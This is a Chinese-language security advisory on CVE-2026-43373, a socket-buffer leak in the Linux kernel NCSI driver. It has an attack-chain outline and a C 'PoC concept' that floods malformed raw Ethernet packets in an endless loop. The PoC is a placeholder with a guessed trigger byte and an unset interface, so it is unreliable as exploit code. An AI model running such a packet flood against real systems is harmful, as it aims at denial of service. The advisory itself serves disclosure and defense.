IPBUF安全漏洞报告
English
CVE-2026-43373 CVSS 7.5 高危

CVE-2026-43373 Linux内核NCSI组件内存泄漏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43373
漏洞类型
内存泄漏
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory LeakDoSNCSI

漏洞概述

Linux内核的NCSI(网络控制器边带接口)驱动程序存在内存泄漏漏洞。该漏洞源于在处理接收响应(RX)和异步事件通知(AEN)的错误路径时,未能正确释放已分配的套接字缓冲区。当遇到无效数据包或解析设备失败时,函数提前返回导致内存未释放。攻击者可利用此漏洞造成内核内存耗尽,从而引发拒绝服务。

技术细节

漏洞主要影响Linux内核net/ncsi目录下的处理逻辑。在`ncsi_aen_handler`函数中,当检测到无效的AEN数据包时,代码直接返回而未释放skb;在`ncsi_rcv_rsp`函数中,当无法解析NCSI设备、找不到响应处理器或请求匹配失败时,同样跳过了内存释放步骤。这种资源泄漏是累积性的,无需用户交互即可通过网络触发。攻击者通过发送大量特制的NCSI协议数据包,可持续触发上述错误路径,导致系统可用性降低。

攻击链分析

STEP 1
1. 侦察
攻击者确定目标系统运行了启用NCSI支持的Linux内核,并暴露了相关的网络接口。
STEP 2
2. 制作恶意数据包
攻击者构造特制的NCSI协议数据包,旨在触发`ncsi_aen_handler`或`ncsi_rcv_rsp`函数中的错误检查逻辑(如无效的AEN包类型或无法解析的设备ID)。
STEP 3
3. 发起攻击
攻击者通过网络向目标系统发送大量恶意数据包。
STEP 4
4. 触发漏洞
目标内核接收数据包并进入处理函数。由于数据包特征匹配错误路径,函数提前返回,未释放对应的skb内存结构。
STEP 5
5. 耗尽资源
随着攻击持续,未被释放的skb不断累积,导致内核内存耗尽,系统响应变慢或崩溃,形成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43373 * This PoC demonstrates sending malformed NCSI packets to trigger the skb leak. * Requires a system with NCSI enabled and raw socket capabilities. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <linux/if_packet.h> #define NCSI_CMD 0x00 // Example command type int main() { int sockfd; struct sockaddr_ll sa; char buffer[64]; // Create raw socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } memset(&sa, 0, sizeof(sa)); // Fill in interface index (requires configuration) // sa.sll_ifindex = if_nametoindex("eth0"); memset(buffer, 0, sizeof(buffer)); // Construct a minimal malformed NCSI header // Assuming specific header fields that trigger the early return in ncsi_rcv_rsp // e.g., invalid length or type buffer[0] = 0xFF; // Invalid channel ID or similar trigger printf("Sending malformed NCSI packets to trigger memory leak...\n"); while(1) { sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&sa, sizeof(sa)); usleep(10000); // Flood with packets } close(sockfd); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议在网络层面限制对NCSI端口的访问,或者在不需要NCSI功能的情况下禁用相关内核模块配置,以减少攻击面。

参考链接